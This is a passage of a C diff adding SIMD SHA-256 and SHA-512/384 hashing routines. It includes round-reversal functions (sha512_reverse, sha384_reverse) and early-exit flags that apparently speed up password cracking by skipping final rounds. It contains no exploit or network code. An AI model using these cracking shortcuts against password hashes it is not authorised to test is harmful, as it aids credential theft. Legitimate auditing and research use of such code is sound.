+	SHA256_STEP(g, h, a, b, c, d, e, f, 58, 0x84c87814);
+	SHA256_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc70208);
+	SHA256_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa);
+
+	if (SSEi_flags & SSEi_REVERSE_STEPS)
+	{
+		SHA256_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS32 + 3 * VS32]), d[i]);
+		}
+		return;
+	}
+
+	SHA256_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506ceb);
+	SHA256_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7);
+	SHA256_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2);
+
+	if (SSEi_flags & SSEi_RELOAD)
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA256_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
+				e[i] = vadd_epi32(
+					e[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]));
+				f[i] = vadd_epi32(
+					f[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 5 * VS32]));
+				g[i] = vadd_epi32(
+					g[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 6 * VS32]));
+				h[i] = vadd_epi32(
+					h[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 7 * VS32]));
+			}
+		}
+		else
+		{
+			SHA256_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 3 * VS32]));
+				e[i] = vadd_epi32(
+					e[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 4 * VS32]));
+				f[i] = vadd_epi32(
+					f[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 5 * VS32]));
+				g[i] = vadd_epi32(
+					g[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 6 * VS32]));
+				h[i] = vadd_epi32(
+					h[i],
+					vload((vtype *) &reload_state[i * 8 * VS32 + 7 * VS32]));
+			}
+		}
+	}
+	else
+	{
+		if (SSEi_flags & SSEi_CRYPT_SHA224)
+		{
+			SHA256_PARA_DO(i)
+			{
+				/* SHA-224 IV */
+				a[i] = vadd_epi32(a[i], vset1_epi32(0xc1059ed8));
+				b[i] = vadd_epi32(b[i], vset1_epi32(0x367cd507));
+				c[i] = vadd_epi32(c[i], vset1_epi32(0x3070dd17));
+				d[i] = vadd_epi32(d[i], vset1_epi32(0xf70e5939));
+				e[i] = vadd_epi32(e[i], vset1_epi32(0xffc00b31));
+				f[i] = vadd_epi32(f[i], vset1_epi32(0x68581511));
+				g[i] = vadd_epi32(g[i], vset1_epi32(0x64f98fa7));
+				h[i] = vadd_epi32(h[i], vset1_epi32(0xbefa4fa4));
+			}
+		}
+		else
+		{
+			SHA256_PARA_DO(i)
+			{
+				/* SHA-256 IV */
+				a[i] = vadd_epi32(a[i], vset1_epi32(0x6a09e667));
+				b[i] = vadd_epi32(b[i], vset1_epi32(0xbb67ae85));
+				c[i] = vadd_epi32(c[i], vset1_epi32(0x3c6ef372));
+				d[i] = vadd_epi32(d[i], vset1_epi32(0xa54ff53a));
+				e[i] = vadd_epi32(e[i], vset1_epi32(0x510e527f));
+				f[i] = vadd_epi32(f[i], vset1_epi32(0x9b05688c));
+				g[i] = vadd_epi32(g[i], vset1_epi32(0x1f83d9ab));
+				h[i] = vadd_epi32(h[i], vset1_epi32(0x5be0cd19));
+			}
+		}
+	}
+
+	if (SSEi_flags & SSEi_FLAT_OUT)
+	{
+		SHA256_PARA_DO(i)
+		{
+			uint32_t * o = (uint32_t *) &out[i * 8 * VS32];
+#if __AVX512F__ || __MIC__
+			vtype idxs = vset_epi32(15 << 3,
+									14 << 3,
+									13 << 3,
+									12 << 3,
+									11 << 3,
+									10 << 3,
+									9 << 3,
+									8 << 3,
+									7 << 3,
+									6 << 3,
+									5 << 3,
+									4 << 3,
+									3 << 3,
+									2 << 3,
+									1 << 3,
+									0 << 3);
+
+			vscatter_epi32(o + 0, idxs, vswap32(a[i]), 4);
+			vscatter_epi32(o + 1, idxs, vswap32(b[i]), 4);
+			vscatter_epi32(o + 2, idxs, vswap32(c[i]), 4);
+			vscatter_epi32(o + 3, idxs, vswap32(d[i]), 4);
+			vscatter_epi32(o + 4, idxs, vswap32(e[i]), 4);
+			vscatter_epi32(o + 5, idxs, vswap32(f[i]), 4);
+			vscatter_epi32(o + 6, idxs, vswap32(g[i]), 4);
+			vscatter_epi32(o + 7, idxs, vswap32(h[i]), 4);
+#else
+			uint32_t j, k;
+			union {
+				vtype v[8];
+				uint32_t s[8 * VS32];
+			} tmp;
+
+			tmp.v[0] = vswap32(a[i]);
+			tmp.v[1] = vswap32(b[i]);
+			tmp.v[2] = vswap32(c[i]);
+			tmp.v[3] = vswap32(d[i]);
+			tmp.v[4] = vswap32(e[i]);
+			tmp.v[5] = vswap32(f[i]);
+			tmp.v[6] = vswap32(g[i]);
+			tmp.v[7] = vswap32(h[i]);
+
+			for (j = 0; j < VS32; j++)
+				for (k = 0; k < 8; k++) o[j * 8 + k] = tmp.s[k * VS32 + j];
+#endif
+		}
+	}
+	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
+	{
+		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
+			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
+		{
+			SHA256_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 4 * VS32], e[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 5 * VS32], f[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 6 * VS32], g[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 7 * VS32], h[i]);
+			}
+		}
+		else
+		{
+			SHA256_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 4 * VS32], e[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 5 * VS32], f[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 6 * VS32], g[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 7 * VS32], h[i]);
+			}
+		}
+	}
+	else
+	{
+		SHA256_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS32 + 0 * VS32]), a[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 1 * VS32]), b[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 2 * VS32]), c[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 3 * VS32]), d[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 4 * VS32]), e[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 5 * VS32]), f[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 6 * VS32]), g[i]);
+			vstore((vtype *) &(out[i * 8 * VS32 + 7 * VS32]), h[i]);
+		}
+	}
+}
+#endif /* SIMD_PARA_SHA256 */
+
+#if SIMD_PARA_SHA512
+
+#undef S0
+#define S0(x)                                                                  \
+	(vxor(vroti_epi64(x, -39), vxor(vroti_epi64(x, -28), vroti_epi64(x, -34))))
+
+#undef S1
+#define S1(x)                                                                  \
+	(vxor(vroti_epi64(x, -41), vxor(vroti_epi64(x, -14), vroti_epi64(x, -18))))
+
+/*
+ * These optimized sigma alternatives are from "Fast SHA-512 Implementations
+ * on Intel Architecture Processors" whitepaper by Intel. They result in less
+ * register copy operations so is faster despite using more ops. Slight boost
+ * indeed seen on intel core i7.
+ */
+#if 1
+#undef s0
+#define s0(x)                                                                  \
+	(vxor(vsrli_epi64(vxor(vsrli_epi64(vxor(vsrli_epi64(x, 1), x), 6), x), 1), \
+		  vslli_epi64(vxor(vslli_epi64(x, 7), x), 56)))
+#undef s1
+#define s1(x)                                                                  \
+	(vxor(                                                                     \
+		vsrli_epi64(vxor(vsrli_epi64(vxor(vsrli_epi64(x, 42), x), 13), x), 6), \
+		vslli_epi64(vxor(vslli_epi64(x, 42), x), 3)))
+#else
+#undef s0
+#define s0(x)                                                                  \
+	(vxor(vsrli_epi64(x, 7), vxor(vroti_epi64(x, -1), vroti_epi64(x, -8))))
+
+#undef s1
+#define s1(x)                                                                  \
+	(vxor(vsrli_epi64(x, 6), vxor(vroti_epi64(x, -19), vroti_epi64(x, -61))))
+#endif
+
+#if __AVX512F__
+#define Maj(x, y, z) vternarylogic(x, y, z, 0xE8)
+#elif !VCMOV_EMULATED
+#define Maj(x, y, z) vcmov(x, y, vxor(z, y))
+#else
+#define Maj(x, y, z) vor(vand(x, y), vand(vor(x, y), z))
+#endif
+
+#define Ch(x, y, z) vcmov(y, z, x)
+
+#define SHA512_PARA_DO(x) for (x = 0; x < SIMD_PARA_SHA512; ++x)
+
+#undef R
+#define R(t)                                                                   \
+	{                                                                          \
+		tmp1[i] = vadd_epi64(s1(w[i][(t - 2) & 0xf]), w[i][(t - 7) & 0xf]);    \
+		tmp2[i] = vadd_epi64(s0(w[i][(t - 15) & 0xf]), w[i][(t - 16) & 0xf]);  \
+		w[i][(t) &0xf] = vadd_epi64(tmp1[i], tmp2[i]);                         \
+	}
+
+#define SHA512_STEP(a, b, c, d, e, f, g, h, x, K)                              \
+	{                                                                          \
+		SHA512_PARA_DO(i)                                                      \
+		{                                                                      \
+			tmp1[i] = vadd_epi64(h[i], w[i][(x) &0xf]);                        \
+			tmp2[i] = vadd_epi64(S1(e[i]), vset1_epi64(K));                    \
+			tmp1[i] = vadd_epi64(tmp1[i], Ch(e[i], f[i], g[i]));               \
+			tmp1[i] = vadd_epi64(tmp1[i], tmp2[i]);                            \
+			tmp2[i] = vadd_epi64(S0(a[i]), Maj(a[i], b[i], c[i]));             \
+			d[i] = vadd_epi64(tmp1[i], d[i]);                                  \
+			h[i] = vadd_epi64(tmp1[i], tmp2[i]);                               \
+			if (x < 64) R(x);                                                  \
+		}                                                                      \
+	}
+
+#define INIT_A 0x6a09e667f3bcc908ULL
+#define INIT_B 0xbb67ae8584caa73bULL
+#define INIT_C 0x3c6ef372fe94f82bULL
+#define INIT_D 0xa54ff53a5f1d36f1ULL
+#define INIT_E 0x510e527fade682d1ULL
+#define INIT_F 0x9b05688c2b3e6c1fULL
+#define INIT_G 0x1f83d9abfb41bd6bULL
+#define INIT_H 0x5be0cd19137e2179ULL
+
+#define ror(x, n) ((x >> n) | (x << (64 - n)))
+
+void sha512_reverse(uint64_t * hash)
+{
+	uint64_t a, b, c, d, e, f, g, h, s0, maj, tmp;
+
+	a = hash[0] - INIT_A;
+	b = hash[1] - INIT_B;
+	c = hash[2] - INIT_C;
+	d = hash[3] - INIT_D;
+	e = hash[4] - INIT_E;
+	f = hash[5] - INIT_F;
+	g = hash[6] - INIT_G;
+	h = hash[7] - INIT_H;
+
+	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	f = g;
+	g = h;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	f = g;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+	tmp = d;
+	d = e - (a - (s0 + maj));
+	e = f;
+	a = b;
+	b = c;
+	c = tmp;
+
+	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
+	maj = (b & c) ^ (b & d) ^ (c & d);
+
+	hash[0] = e - (a - (s0 + maj));
+}
+
+void sha512_unreverse(void)
+{
+	fprintf(stderr, "sha512_unreverse() not implemented\n");
+	perror("sha512");
+}
+
+#undef ror
+
+#undef INIT_H
+#undef INIT_G
+#undef INIT_F
+#undef INIT_E
+#undef INIT_D
+#undef INIT_C
+#undef INIT_B
+#undef INIT_A
+
+#define INIT_D 0x152fecd8f70e5939ULL
+
+void sha384_reverse(ARCH_WORD_64 * hash) { hash[3] -= INIT_D; }
+
+void sha384_unreverse(ARCH_WORD_64 * hash) { hash[3] += INIT_D; }
+
+#undef INIT_D
+
+void SIMDSHA512body(vtype * data,
+					ARCH_WORD_64 * out,
+					ARCH_WORD_64 * reload_state,
+					unsigned SSEi_flags)
+{
+	unsigned int i, k;
+
+	vtype a[SIMD_PARA_SHA512], b[SIMD_PARA_SHA512], c[SIMD_PARA_SHA512],
+		d[SIMD_PARA_SHA512], e[SIMD_PARA_SHA512], f[SIMD_PARA_SHA512],
+		g[SIMD_PARA_SHA512], h[SIMD_PARA_SHA512];
+	vtype w[SIMD_PARA_SHA512][16];
+	vtype tmp1[SIMD_PARA_SHA512], tmp2[SIMD_PARA_SHA512];
+
+	if (SSEi_flags & SSEi_FLAT_IN)
+	{
+		ARCH_WORD_64 * _data = (ARCH_WORD_64 *) data;
+		SHA512_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				ARCH_WORD_64(*saved_key)[32] = (ARCH_WORD_64(*)[32]) _data;
+				for (i = 0; i < 14; i += 2)
+				{
+					GATHER64(tmp1[k], saved_key, i);
+					GATHER64(tmp2[k], saved_key, i + 1);
+					vswap64(tmp1[k]);
+					vswap64(tmp2[k]);
+					w[k][i] = tmp1[k];
+					w[k][i + 1] = tmp2[k];
+				}
+				GATHER64(tmp1[k], saved_key, 14);
+				GATHER64(tmp2[k], saved_key, 15);
+				_data += (VS64 << 5);
+			}
+			else
+			{
+				ARCH_WORD_64(*saved_key)[16] = (ARCH_WORD_64(*)[16]) _data;
+				for (i = 0; i < 14; i += 2)
+				{
+					GATHER64(tmp1[k], saved_key, i);
+					GATHER64(tmp2[k], saved_key, i + 1);
+					vswap64(tmp1[k]);
+					vswap64(tmp2[k]);
+					w[k][i] = tmp1[k];
+					w[k][i + 1] = tmp2[k];
+				}
+				GATHER64(tmp1[k], saved_key, 14);
+				GATHER64(tmp2[k], saved_key, 15);
+				_data += (VS64 << 4);
+			}
+			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
+				 == SSEi_2BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
+					== SSEi_FLAT_RELOAD_SWAPLAST))
+			{
+				vswap64(tmp1[k]);
+				vswap64(tmp2[k]);
+			}
+			w[k][14] = tmp1[k];
+			w[k][15] = tmp2[k];
+		}
+	}
+	else
+		memcpy(w, data, 16 * sizeof(vtype) * SIMD_PARA_SHA512);
+
+	// dump_stuff_shammx64_msg("\nindex 2", w, 128, 2);
+
+	if (SSEi_flags & SSEi_RELOAD)
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA512_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 0 * VS64]);
+				b[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 1 * VS64]);
+				c[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 2 * VS64]);
+				d[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 3 * VS64]);
+				e[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 4 * VS64]);
+				f[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 5 * VS64]);
+				g[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 6 * VS64]);
+				h[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 7 * VS64]);
+			}
+		}
+		else
+		{
+			SHA512_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 0 * VS64]);
+				b[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 1 * VS64]);
+				c[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 2 * VS64]);
+				d[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 3 * VS64]);
+				e[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 4 * VS64]);
+				f[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 5 * VS64]);
+				g[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 6 * VS64]);
+				h[i] = vload((vtype *) &reload_state[i * 8 * VS64 + 7 * VS64]);
+			}
+		}
+	}
+	else
+	{
+		if (SSEi_flags & SSEi_CRYPT_SHA384)
+		{
+			SHA512_PARA_DO(i)
+			{
+				/* SHA-384 IV */
+				a[i] = vset1_epi64(0xcbbb9d5dc1059ed8ULL);
+				b[i] = vset1_epi64(0x629a292a367cd507ULL);
+				c[i] = vset1_epi64(0x9159015a3070dd17ULL);
+				d[i] = vset1_epi64(0x152fecd8f70e5939ULL);
+				e[i] = vset1_epi64(0x67332667ffc00b31ULL);
+				f[i] = vset1_epi64(0x8eb44a8768581511ULL);
+				g[i] = vset1_epi64(0xdb0c2e0d64f98fa7ULL);
+				h[i] = vset1_epi64(0x47b5481dbefa4fa4ULL);
+			}
+		}
+		else
+		{
+			SHA512_PARA_DO(i)
+			{
+				/* SHA-512 IV */
+				a[i] = vset1_epi64(0x6a09e667f3bcc908ULL);
+				b[i] = vset1_epi64(0xbb67ae8584caa73bULL);
+				c[i] = vset1_epi64(0x3c6ef372fe94f82bULL);
+				d[i] = vset1_epi64(0xa54ff53a5f1d36f1ULL);
+				e[i] = vset1_epi64(0x510e527fade682d1ULL);
+				f[i] = vset1_epi64(0x9b05688c2b3e6c1fULL);
+				g[i] = vset1_epi64(0x1f83d9abfb41bd6bULL);
+				h[i] = vset1_epi64(0x5be0cd19137e2179ULL);
+			}
+		}
+	}
+
+	SHA512_STEP(a, b, c, d, e, f, g, h, 0, 0x428a2f98d728ae22ULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 1, 0x7137449123ef65cdULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 2, 0xb5c0fbcfec4d3b2fULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 3, 0xe9b5dba58189dbbcULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 4, 0x3956c25bf348b538ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 5, 0x59f111f1b605d019ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 6, 0x923f82a4af194f9bULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 7, 0xab1c5ed5da6d8118ULL);
+	SHA512_STEP(a, b, c, d, e, f, g, h, 8, 0xd807aa98a3030242ULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 9, 0x12835b0145706fbeULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be4ee4b28cULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3d5ffb4e2ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74f27b896fULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe3b1696b1ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a725c71235ULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174cf692694ULL);
+
+	SHA512_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c19ef14ad2ULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786384f25e3ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc68b8cd5b5ULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc77ac9c65ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f592b0275ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa6ea6e483ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dcbd41fbd4ULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da831153b5ULL);
+	SHA512_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152ee66dfabULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d2db43210ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c898fb213fULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7beef0ee4ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf33da88fc2ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147930aa725ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351e003826fULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 31, 0x142929670a0e6e70ULL);
+
+	SHA512_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a8546d22ffcULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b21385c26c926ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc5ac42aedULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d139d95b3dfULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 36, 0x650a73548baf63deULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb3c77b2a8ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e47edaee6ULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c851482353bULL);
+	SHA512_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a14cf10364ULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664bbc423001ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70d0f89791ULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a30654be30ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819d6ef5218ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 45, 0xd69906245565a910ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e35855771202aULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa07032bbd1b8ULL);
+
+	SHA512_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116b8d2d0c8ULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c085141ab53ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774cdf8eeb99ULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5e19b48a8ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3c5c95a63ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4ae3418acbULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 54, 0x5b9cca4f7763e373ULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3d6b2b8a3ULL);
+	SHA512_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee5defb2fcULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f43172f60ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 58, 0x84c87814a1f0ab72ULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc702081a6439ecULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa23631e28ULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506cebde82bde9ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7b2c67915ULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2e372532bULL);
+
+	SHA512_STEP(a, b, c, d, e, f, g, h, 64, 0xca273eceea26619cULL);
+	SHA512_STEP(h, a, b, c, d, e, f, g, 65, 0xd186b8c721c0c207ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 66, 0xeada7dd6cde0eb1eULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 67, 0xf57d4f7fee6ed178ULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 68, 0x06f067aa72176fbaULL);
+	SHA512_STEP(d, e, f, g, h, a, b, c, 69, 0x0a637dc5a2c898a6ULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 70, 0x113f9804bef90daeULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 71, 0x1b710b35131c471bULL);
+	SHA512_STEP(a, b, c, d, e, f, g, h, 72, 0x28db77f523047d84ULL);
+
+	if (SSEi_flags & SSEi_REVERSE_STEPS && !(SSEi_flags & SSEi_CRYPT_SHA384))
+	{
+		SHA512_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS64 + 0 * VS64]), h[i]);
+		}
+		return;
+	}
+
+	SHA512_STEP(h, a, b, c, d, e, f, g, 73, 0x32caab7b40c72493ULL);
+	SHA512_STEP(g, h, a, b, c, d, e, f, 74, 0x3c9ebe0a15c9bebcULL);
+	SHA512_STEP(f, g, h, a, b, c, d, e, 75, 0x431d67c49c100d4cULL);
+	SHA512_STEP(e, f, g, h, a, b, c, d, 76, 0x4cc5d4becb3e42b6ULL);
+
+	if (SSEi_flags & SSEi_REVERSE_STEPS)
+	{
+		SHA512_PARA_DO(i)
+		{
+			vstore((vtype *) &(out[i * 8 * VS64 + 3 * VS64]), d[i]);
+		}
+		return;
+	}
+
+	SHA512_STEP(d, e, f, g, h, a, b, c, 77, 0x597f299cfc657e2aULL);
+	SHA512_STEP(c, d, e, f, g, h, a, b, 78, 0x5fcb6fab3ad6faecULL);
+	SHA512_STEP(b, c, d, e, f, g, h, a, 79, 0x6c44198c4a475817ULL);
+
+	if (SSEi_flags & SSEi_RELOAD)
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA512_PARA_DO(i)
+			{
+				a[i] = vadd_epi64(
+					a[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 0 * VS64]));
+				b[i] = vadd_epi64(
+					b[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 1 * VS64]));
+				c[i] = vadd_epi64(
+					c[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 2 * VS64]));
+				d[i] = vadd_epi64(
+					d[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 3 * VS64]));
+				e[i] = vadd_epi64(
+					e[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 4 * VS64]));
+				f[i] = vadd_epi64(
+					f[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 5 * VS64]));
+				g[i] = vadd_epi64(
+					g[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 6 * VS64]));
+				h[i] = vadd_epi64(
+					h[i],
+					vload((vtype *) &reload_state[i * 16 * VS64 + 7 * VS64]));
+			}
+		}
+		else
+		{
+			SHA512_PARA_DO(i)
+			{
+				a[i] = vadd_epi64(
+					a[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 0 * VS64]));
+				b[i] = vadd_epi64(
+					b[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 1 * VS64]));
+				c[i] = vadd_epi64(
+					c[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 2 * VS64]));
+				d[i] = vadd_epi64(
+					d[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 3 * VS64]));
+				e[i] = vadd_epi64(
+					e[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 4 * VS64]));
+				f[i] = vadd_epi64(
+					f[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 5 * VS64]));
+				g[i] = vadd_epi64(
+					g[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 6 * VS64]));
+				h[i] = vadd_epi64(
+					h[i],
+					vload((vtype *) &reload_state[i * 8 * VS64 + 7 * VS64]));
+			}
+		}
+	}
+	else
+	{
+		if (SSEi_flags & SSEi_CRYPT_SHA384)
+		{
+			SHA512_PARA_DO(i)
+			{
+				/* SHA-384 IV */
+				a[i] = vadd_epi64(a[i], vset1_epi64(0xcbbb9d5dc1059ed8ULL));
